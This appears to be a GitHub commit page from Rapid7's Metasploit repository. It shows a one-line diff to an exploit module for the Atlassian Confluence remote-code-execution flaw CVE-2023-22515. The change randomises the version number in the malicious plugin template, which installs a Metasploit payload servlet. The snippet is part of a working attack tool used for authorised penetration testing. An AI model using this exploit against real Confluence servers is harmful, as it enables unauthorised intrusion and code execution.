randomize the plugins version number

rapid7 · Oct 17, 2023 · 0fc35bf · 0fc35bf
1 parent 415bd49
commit 0fc35bf
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb b/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
@@ -213,7 +213,7 @@ def exploit
 <atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
   <plugin-info>
     <description>#{rand_text_alphanumeric(8)}</description>
-    <version>1.0</version>
+    <version>#{rand(1024)}.#{rand(1024)}</version>
   </plugin-info>
   <servlet key="#{rand_text_alpha(8)}" class="metasploit.PayloadServlet">
     <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>